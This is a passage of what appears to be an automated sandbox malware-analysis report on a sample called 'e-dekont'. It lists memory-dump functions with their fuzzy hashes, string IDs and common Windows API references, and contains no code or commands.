Opcode Fuzzy Hash: 1addc3408327594b26022235c56ba47ee2dd1820f6da613b0b3c3d36a5833740
Instruction Fuzzy Hash: E6415871E016188BEB58CF6BD9457D9FAF3AFC9300F14C1AAD50CA6264DB740A868F51

Uniqueness

Uniqueness Score: -1.00%

Function 06C0C178 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 553ae18cf292d57986fae8833d8a8061bfefb9422148a0ebdb66e39ffa75202f
Instruction ID: 949e30c939193ad3ea63b5ca01e1a42f80da268e269d836ca42637c8d223ceb3
Opcode Fuzzy Hash: 553ae18cf292d57986fae8833d8a8061bfefb9422148a0ebdb66e39ffa75202f
Instruction Fuzzy Hash: 20416AB1E016188FEB58CF6BD9557D9FAF3AFC9304F04C1AAC50CA6264DB740A868F51

Uniqueness

Uniqueness Score: -1.00%

Function 06C07490 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6dce299eae0adccc19d03095abc50050c11b99f277e9f09d510a8da7a107477
Instruction ID: 022dea84471f40a5c083e69bd5a94657748796967b2c6722fd7add8a69f199b0
Opcode Fuzzy Hash: a6dce299eae0adccc19d03095abc50050c11b99f277e9f09d510a8da7a107477
Instruction Fuzzy Hash: 1041D1B0E01248CBEB58DFAAD58469EFBF2AF88300F24C12AD418BB255EB345945CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02DC6EB8 Relevance: 10.5, Strings: 8, Instructions: 475
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o^q, xrefs: 02DC73D7
(o^q, xrefs: 02DC6FB1
,bq, xrefs: 02DC7358
(o^q, xrefs: 02DC73C7
(o^q, xrefs: 02DC6FDD
(o^q, xrefs: 02DC707A
,bq, xrefs: 02DC7368
(o^q, xrefs: 02DC6EF6

Memory Dump Source

Source File: 00000002.00000002.4087771511.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2dc0000_e-dekont.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$(o^q$(o^q$(o^q$,bq$,bq
API String ID: 0-1932283790
Opcode ID: 338dfe942fb15933dd60b1881636e47794d86d54eb3f2663f41c6a067feb3b65
Instruction ID: 9eb82ae387585287ded1ba89c0fe179e43cd01925b5fc13bb601e0d8e26a72c2
Opcode Fuzzy Hash: 338dfe942fb15933dd60b1881636e47794d86d54eb3f2663f41c6a067feb3b65
Instruction Fuzzy Hash: FF123830A0020A8FDB15CF69D984A9EFBF6BF88314F248599E8599B365D730EC41CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06C24B59 Relevance: 6.1, APIs: 4, Instructions: 136
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 06C24BE6
GetCurrentThread.KERNEL32 ref: 06C24C23
GetCurrentProcess.KERNEL32 ref: 06C24C60
GetCurrentThreadId.KERNEL32 ref: 06C24CB9

Memory Dump Source

Source File: 00000002.00000002.4091933924.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c20000_e-dekont.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 8dd56f4769cfbb4aad943f7b108a083594d4d68c37a825cfe2f7e5c401a9a27b
Instruction ID: 63bbd1ae9ddbe47dec84a46af10e1f0c1ec41737a7777b43b4fd42d397e5b4f3
Opcode Fuzzy Hash: 8dd56f4769cfbb4aad943f7b108a083594d4d68c37a825cfe2f7e5c401a9a27b
Instruction Fuzzy Hash: 8B5165B4900249CFDB58EFAAD948B9EBBF1EB88314F20C459E409A7360CB355984CF65

Uniqueness

Uniqueness Score: -1.00%

Function 06C24B68 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 06C24BE6
GetCurrentThread.KERNEL32 ref: 06C24C23
GetCurrentProcess.KERNEL32 ref: 06C24C60
GetCurrentThreadId.KERNEL32 ref: 06C24CB9

Memory Dump Source

Source File: 00000002.00000002.4091933924.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c20000_e-dekont.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: fe8b627200b67f338ce35b5ba84963592199d2548e54e2f9b853de0eff2a3143
Instruction ID: d7f145f33288a9166ad765f0521ce9592ca9fff1be17ec7fc025b96f3a42973d
Opcode Fuzzy Hash: fe8b627200b67f338ce35b5ba84963592199d2548e54e2f9b853de0eff2a3143
Instruction Fuzzy Hash: 2F5146B4900209CFDB54EFAAD948B9EBBF1EB88314F20C459E419A7360DB359944CF65

Uniqueness

Uniqueness Score: -1.00%

Function 02DC21B4 Relevance: 5.5, Strings: 4, Instructions: 501
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Xbq, xrefs: 02DC236C
Xbq, xrefs: 02DC2266
Xbq, xrefs: 02DC22A0
Xbq, xrefs: 02DC231F

Memory Dump Source

Source File: 00000002.00000002.4087771511.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2dc0000_e-dekont.jbxd

Similarity

API ID:
String ID: Xbq$Xbq$Xbq$Xbq
API String ID: 0-2732225958
Opcode ID: 00c84c07657ebe94111d559d647e02cf97e4d969d055b95fe18bc38b462335ad
Instruction ID: e944d4e3e264150964ec33ede7e7869b546215639bd658c65f356ca2191f550d
Opcode Fuzzy Hash: 00c84c07657ebe94111d559d647e02cf97e4d969d055b95fe18bc38b462335ad
Instruction Fuzzy Hash: 87029D34810A6A8FCB014FB88968299FBB0FFAF310F15C9E9D8895E256DF7159C6C750

Uniqueness

Uniqueness Score: -1.00%

Function 02DC7850 Relevance: 3.2, Strings: 2, Instructions: 702COMMON

Download Yara Rule

Strings

$^q, xrefs: 02DC8374
$^q, xrefs: 02DC8397

Memory Dump Source

Source File: 00000002.00000002.4087771511.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2dc0000_e-dekont.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: 108c067d16c39e908a119abb9104de85f63d13fab48621c2f17ecdc86993d188
Instruction ID: 088dc6680c5b11e7ca8d0b298fb03b2a8f0aca818d7a2a9eb7fdb248235ed3ba
Opcode Fuzzy Hash: 108c067d16c39e908a119abb9104de85f63d13fab48621c2f17ecdc86993d188
Instruction Fuzzy Hash: 77524474A00219CFEB159BA4C864BAEBB76FF94300F1091AEC10AAB3A5CF355D85DF51

Uniqueness

Uniqueness Score: -1.00%

Function 02DC8849 Relevance: 2.8, Strings: 2, Instructions: 332COMMON

Download Yara Rule

Strings

4'^q, xrefs: 02DC8897
4'^q, xrefs: 02DC8871

Memory Dump Source

Source File: 00000002.00000002.4087771511.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2dc0000_e-dekont.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: 26572d2fda2e1cdac432cd3608d2c91859b995561ca82a8f967c314b6ed777fc
Instruction ID: 71548e447bf3c5a2f567096338a95281da56d09154d16bbdfed37892ab955e92
Opcode Fuzzy Hash: 26572d2fda2e1cdac432cd3608d2c91859b995561ca82a8f967c314b6ed777fc
Instruction Fuzzy Hash: 35B181707052038FDB1A9E28CA58F3977A6EF85644F2404AEE146CF3A1EF25CC42E742

Uniqueness

Uniqueness Score: -1.00%

Function 02DC5700 Relevance: 2.8, Strings: 2, Instructions: 265COMMON

Download Yara Rule

Strings

Hbq, xrefs: 02DC581E
Hbq, xrefs: 02DC57EB

Memory Dump Source

Source File: 00000002.00000002.4087771511.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2dc0000_e-dekont.jbxd

Similarity

API ID:
String ID: Hbq$Hbq
API String ID: 0-4258043069
Opcode ID: 265269324a8064695c2ceeba0bd0f75dc1f2fa3bba035530bfaa508edbdbf891
Instruction ID: 9a00f2452ecd1a7ab44402bfb89dd20b6bfe0b4074ebf508ef67b4f14fe20497
Opcode Fuzzy Hash: 265269324a8064695c2ceeba0bd0f75dc1f2fa3bba035530bfaa508edbdbf891
Instruction Fuzzy Hash: CD91CF34704246CFCB15AF28D894B6E7BA6BF88314F24886DE8469B395DF34EC51CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06C02830 Relevance: 2.7, Strings: 2, Instructions: 233COMMON

Download Yara Rule

Strings

LR^q, xrefs: 06C02979
LR^q, xrefs: 06C0284C

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID: LR^q$LR^q
API String ID: 0-4089051495
Opcode ID: cd6ef792f1a65734c5a92a718d46cdfae3cea58647d1cc00045ccba8a0d9de66
Instruction ID: 48234914ac4e229fe8f4af6173dfbd48fe446221e40c06836538aea7499f99aa
Opcode Fuzzy Hash: cd6ef792f1a65734c5a92a718d46cdfae3cea58647d1cc00045ccba8a0d9de66
Instruction Fuzzy Hash: 2081B135B001058FEB58DF79C85896E77B6FF88614B2185AAE405DB3A1DB34DE02CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02DC5C60 Relevance: 2.7, Strings: 2, Instructions: 232COMMON

Download Yara Rule

Strings

,bq, xrefs: 02DC5D36
,bq, xrefs: 02DC5D40

Memory Dump Source

Source File: 00000002.00000002.4087771511.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2dc0000_e-dekont.jbxd

Similarity

API ID:
String ID: ,bq$,bq
API String ID: 0-2699258169
Opcode ID: a300a04cbe2a78c1224056768ad5cb2ff151fd11dc81dc165bf268e87597e328
Instruction ID: 841ff731a17377bcfa4ffcd774c491a78156ea87afc319c62e87863d2cf7f11d
Opcode Fuzzy Hash: a300a04cbe2a78c1224056768ad5cb2ff151fd11dc81dc165bf268e87597e328
Instruction Fuzzy Hash: F6818074A00206CFCB14DF69E888AAAB7F6BF89214BA5816DD415EB365DB31FC41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 06C09960 Relevance: 2.7, Strings: 2, Instructions: 208COMMON

Download Yara Rule

Strings

(bq, xrefs: 06C09B3A
(&^q, xrefs: 06C09A7B

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID: (&^q$(bq
API String ID: 0-1294341849
Opcode ID: 997231663acbc0beb4cb362dc59ef998f2e3a93587117ec0f77bd73ac4b96dd1
Instruction ID: ff28e883ea153eb76566610edc534ca870d31c9e444ed55a7f1b0129bc16df59
Opcode Fuzzy Hash: 997231663acbc0beb4cb362dc59ef998f2e3a93587117ec0f77bd73ac4b96dd1
Instruction Fuzzy Hash: 5C71A231F002199BDB55DFB9C8906AEBBB6BFD8700F148529E405AB381DF309E06CB95

Uniqueness

Uniqueness Score: -1.00%

Function 02DC3480 Relevance: 2.6, Strings: 2, Instructions: 112COMMON

Download Yara Rule

Strings

Xbq, xrefs: 02DC34B6
Xbq, xrefs: 02DC348D

Memory Dump Source

Source File: 00000002.00000002.4087771511.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2dc0000_e-dekont.jbxd

Similarity

API ID:
String ID: Xbq$Xbq
API String ID: 0-1243427068
Opcode ID: e19c866ba94a2a1385df83e2415a5c1697b79f2fb10acd79670ae279f841ce67
Instruction ID: 893e1ad816e90fb78c0b9ffb400c816f4b90a83307f41bc4a54432ee718ceab9
Opcode Fuzzy Hash: e19c866ba94a2a1385df83e2415a5c1697b79f2fb10acd79670ae279f841ce67
Instruction Fuzzy Hash: 44313731B083268BDF995A7A859423EB6EAABC4314F38847DE802C3394DB75CC44C791

Uniqueness

Uniqueness Score: -1.00%

Function 06C2F6D0 Relevance: 1.7, APIs: 1, Instructions: 219COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 06C2F862

Memory Dump Source

Source File: 00000002.00000002.4091933924.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c20000_e-dekont.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 4c01d39523276bb9f76e4d37cc98112137f3808ce77a13f4589761624346abc7
Instruction ID: 866871cd2574d76da74fe83dd13ec1a7d9d64ab436cd6812919e6aeffc384222
Opcode Fuzzy Hash: 4c01d39523276bb9f76e4d37cc98112137f3808ce77a13f4589761624346abc7
Instruction Fuzzy Hash: A7713475C05399AFCB11CFA9C880ACEBFB5AF49300F14815EE858AB262C7719955CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06C2D168 Relevance: 1.7, APIs: 1, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091933924.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c20000_e-dekont.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 4629d0ca89f99fc20a516aa812fdbf5f5a915533493651f613f5a63c8fb76a05
Instruction ID: fffd068f460eb07218ad50b49013fa963bc2dd32d7f65c3a96edc46277d0c198
Opcode Fuzzy Hash: 4629d0ca89f99fc20a516aa812fdbf5f5a915533493651f613f5a63c8fb76a05
Instruction Fuzzy Hash: D77125B0A00B168FD7A4DF69D44475ABBF5FF98200F008A2ED88697A50DB75F945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02DC0C8F Relevance: 1.7, Strings: 1, Instructions: 420COMMON

Download Yara Rule

Strings

LR^q, xrefs: 02DC0E80

Memory Dump Source

Source File: 00000002.00000002.4087771511.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2dc0000_e-dekont.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: 6e44126a08d84526fb9fb3863a7dea0ab32c4f65eddce83ad65c6cce887a9dc9
Instruction ID: eb944cdb40275862636da0483b8d86cea2e1d0f4cbd52ebc2ce1c67bede56f79
Opcode Fuzzy Hash: 6e44126a08d84526fb9fb3863a7dea0ab32c4f65eddce83ad65c6cce887a9dc9
Instruction Fuzzy Hash: 5432BC78A40619DFCF54EF64E994A9DBBB2FF49301F1085AAD409AB368DB306D85CF40

Uniqueness

Uniqueness Score: -1.00%

Function 02DC0CA0 Relevance: 1.7, Strings: 1, Instructions: 410COMMON

Download Yara Rule

Strings

LR^q, xrefs: 02DC0E80

Memory Dump Source

Source File: 00000002.00000002.4087771511.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2dc0000_e-dekont.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: 3d48796a43376ea586337bb3ba64636db42ff78d4bd5126b7a83a22bf9e52936
Instruction ID: 25068fe3a080724b152b33e90edf9c33ffb25cde2c34d7dc8e51bd1a34280312
Opcode Fuzzy Hash: 3d48796a43376ea586337bb3ba64636db42ff78d4bd5126b7a83a22bf9e52936
Instruction Fuzzy Hash: F422BC78A40619DFCF54EF64E994A9DBBB2FF49301F1085A6D409AB368DB306D85CF40

Uniqueness

Uniqueness Score: -1.00%

Function 06C2D84C Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 06C2F862

Memory Dump Source

Source File: 00000002.00000002.4091933924.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c20000_e-dekont.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 31a138d516d6934c328be23e4fbfab81345aee7fbe9f53764cd5637d02b33ef4
Instruction ID: 4fb46d55460fcdb7a35aa796f004a3fa66776c451a2cafdf043f3723befe60e0
Opcode Fuzzy Hash: 31a138d516d6934c328be23e4fbfab81345aee7fbe9f53764cd5637d02b33ef4
Instruction Fuzzy Hash: 1751BFB1D003199FDB14CF9AC884ADEBBB5FF48710F24852EE818AB210D775A985CF90

Uniqueness

Uniqueness Score: -1.00%

Function 05B4BFC4 Relevance: 1.6, APIs: 1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091126891.0000000005B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b40000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c0b35e1678347e0c45145521da06e10587a6c6eaec49efd0c3a55023c6cef64
Instruction ID: e91342dfb1815e10981b44af3b881c04b6b949b136e5f33b5dddb77183db0f69
Opcode Fuzzy Hash: 1c0b35e1678347e0c45145521da06e10587a6c6eaec49efd0c3a55023c6cef64
Instruction Fuzzy Hash: 4A413474A45508DBCF24CF99D480AEDBBB2FF48310F209199E509AB381CB31E886DF60

Uniqueness

Uniqueness Score: -1.00%

Function 05B4BF64 Relevance: 1.6, APIs: 1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091126891.0000000005B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b40000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc7e41b6b5f26441ee867377082bf6e6f715ccea718d834c7d4b9c69b03942eb
Instruction ID: 60b209e5fc9724fb19d2f9fef21d91ec5a87ebec2f1aae31a7e1be80cfc7fd2e
Opcode Fuzzy Hash: fc7e41b6b5f26441ee867377082bf6e6f715ccea718d834c7d4b9c69b03942eb
Instruction Fuzzy Hash: 04411374A05609DFCF24CF99D084AEDBBB2FF48314F249199E509AB391CB31A986DF50

Uniqueness

Uniqueness Score: -1.00%

Function 05B4BE18 Relevance: 1.6, APIs: 1, Instructions: 70libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05B4BE79

Memory Dump Source

Source File: 00000002.00000002.4091126891.0000000005B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b40000_e-dekont.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 320f23d1981712cb1ca5739b1c8015a704cef17b213402f3fcb51ee54b8200e5
Instruction ID: b88c593adfc3e57d20a0d34e1b8c8239c98dbdb9e6f42b877a81029687aec41c
Opcode Fuzzy Hash: 320f23d1981712cb1ca5739b1c8015a704cef17b213402f3fcb51ee54b8200e5
Instruction Fuzzy Hash: 4D215BB1D012189BDB24CF9AD884BEEFBF6FF88310F249129E514A3290D7705946DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 06C24834 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,06C24D76,?,?,?,?,?), ref: 06C24E37

Memory Dump Source

Source File: 00000002.00000002.4091933924.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c20000_e-dekont.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 40de62c94812da6dc03dc956f9c5ad49ca6253965420bac01d8bf7c542211edc
Instruction ID: cac28b49099df80ccb2a05d593312d8163acb955928fabeba568a56ab6be8637
Opcode Fuzzy Hash: 40de62c94812da6dc03dc956f9c5ad49ca6253965420bac01d8bf7c542211edc
Instruction Fuzzy Hash: 7921E3B5900259DFDB10CF9AD984AEEFFF9EB48310F14846AE958A7310D374A950CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 06C24DA9 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,06C24D76,?,?,?,?,?), ref: 06C24E37

Memory Dump Source

Source File: 00000002.00000002.4091933924.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c20000_e-dekont.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 26abe90bfc6ef2f01c4cd3c68bfe05763a1e12a67015bed0905374062f6fb5c6
Instruction ID: 85d1753a260810c46bdaf8e155fb511dde671a5a9ccd047fa0608aeb827ea707
Opcode Fuzzy Hash: 26abe90bfc6ef2f01c4cd3c68bfe05763a1e12a67015bed0905374062f6fb5c6
Instruction Fuzzy Hash: 2F21F2B59012589FDB10CFAAD884AEEFBF5EB48320F10841AE918A3310D374A940CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 05B48D94 Relevance: 1.6, APIs: 1, Instructions: 62libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00000000), ref: 05B48ED6

Memory Dump Source

Source File: 00000002.00000002.4091126891.0000000005B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b40000_e-dekont.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 035a439881b77658ad7806d76ec929d69cc1a34ed468bb37b387a692da212d8f
Instruction ID: 4e78560dd091bb9dd3d4c35f8d5f2a5b2cc08748791b4d35d20b97b52b40e0f1
Opcode Fuzzy Hash: 035a439881b77658ad7806d76ec929d69cc1a34ed468bb37b387a692da212d8f
Instruction Fuzzy Hash: 17111774E411199BDB14DBA8D884EBDBBB6FB88304F54C5A5F904A7242DB30A8419F64

Uniqueness

Uniqueness Score: -1.00%

Function 06C2D5B8 Relevance: 1.6, APIs: 1, Instructions: 56libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,06C2D439,00000800,00000000,00000000), ref: 06C2D62A

Memory Dump Source

Source File: 00000002.00000002.4091933924.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c20000_e-dekont.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: bf572913ff6ce145b0bcb0fdd6371e68cb0394e1ce4cf83e9300b23e2a402b71
Instruction ID: aa3bae29895b5a716e25a37bdac118825bed51759101ea9c2169c1f54a15c038
Opcode Fuzzy Hash: bf572913ff6ce145b0bcb0fdd6371e68cb0394e1ce4cf83e9300b23e2a402b71
Instruction Fuzzy Hash: 331136B5C002599FCB20CFAAC884ADEFFF4AB98310F10851ED459A7250C375A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06C2C148 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,06C2D439,00000800,00000000,00000000), ref: 06C2D62A

Memory Dump Source

Source File: 00000002.00000002.4091933924.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c20000_e-dekont.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: c997023d20b46bba939caa623b02755350783beaf53284160a4ca0b526c68474
Instruction ID: 0584e48d4546b8dd640573624b8835af9ed321e5873fd40bd972838d82181062
Opcode Fuzzy Hash: c997023d20b46bba939caa623b02755350783beaf53284160a4ca0b526c68474
Instruction Fuzzy Hash: A41103B6D002198FDB10DF9AD888ADEFBF4EF98310F10842AD919A7210C375A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06C2C100 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,?,?,?,?,?,?,?,06C2D184), ref: 06C2D3BE

Memory Dump Source

Source File: 00000002.00000002.4091933924.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c20000_e-dekont.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 46f330556e679502ab23151311db915d5335f728c50c11cbd607eb9e7c09be67
Instruction ID: c1cc83b88db6ba7b9c02407fd8149b149af4371c79d31bb3c2771a65236337cc
Opcode Fuzzy Hash: 46f330556e679502ab23151311db915d5335f728c50c11cbd607eb9e7c09be67
Instruction Fuzzy Hash: E91132B5C003598FCB10DF9AC444ADEFBF4EF88220F10846AD81AA7210C375A544CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 02DCA6B0 Relevance: 1.4, Strings: 1, Instructions: 125COMMON

Download Yara Rule

Strings

(o^q, xrefs: 02DCA839

Memory Dump Source

Source File: 00000002.00000002.4087771511.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2dc0000_e-dekont.jbxd

Similarity

API ID:
String ID: (o^q
API String ID: 0-74704288
Opcode ID: 03aa4a409ddd1aa69b1313580f22600987ea0bf422baa1d3bb7263e95743e68c
Instruction ID: 328459a4b2f0a9ca288eb0db5544c31a9b935ba802b22d720647f336806f9a88
Opcode Fuzzy Hash: 03aa4a409ddd1aa69b1313580f22600987ea0bf422baa1d3bb7263e95743e68c
Instruction Fuzzy Hash: 6D41C235B042099FCB15AF69D8546AEBBF6BFC8611F24446DD906DB391DF309C01CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02DCFDA8 Relevance: 1.3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

Strings

-)1#, xrefs: 02DCFDC6

Memory Dump Source

Source File: 00000002.00000002.4087771511.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2dc0000_e-dekont.jbxd

Similarity

API ID:
String ID: -)1#
API String ID: 0-1789991113
Opcode ID: 33ad729e815b01113bdb66f90af89b7165dda43604f134d2beca2867bb9b8650
Instruction ID: 61a37581aa4b3764a6814ae62fd8c1fe1e6be7b6880521c08e7503f765780847
Opcode Fuzzy Hash: 33ad729e815b01113bdb66f90af89b7165dda43604f134d2beca2867bb9b8650
Instruction Fuzzy Hash: 74216BB1E0020A8BDB18AFA8C1556EEBBB6AB48704F30442EC456BB741CB759D05CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 06C036D0 Relevance: 1.3, Strings: 1, Instructions: 69COMMON

Download Yara Rule

Strings

Hbq, xrefs: 06C0371D

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: db4ea8cf5bc8fb5b44eb9c7a1f7d57d1feccbc672792a0f158babed84c16fdb1
Instruction ID: b2e1f1fd5a69904c4f2352f26d41de90d48a48b0116dedadd9c2fc08a2c34db5
Opcode Fuzzy Hash: db4ea8cf5bc8fb5b44eb9c7a1f7d57d1feccbc672792a0f158babed84c16fdb1
Instruction Fuzzy Hash: 3A21CD70A04159DFDB98EFBCDA6126EBBF5FB94200F2084BD94099B385DA348E06C781

Uniqueness

Uniqueness Score: -1.00%

Function 02DCA878 Relevance: .4, Instructions: 412COMMON

Download Yara Rule

Memory Dump Source

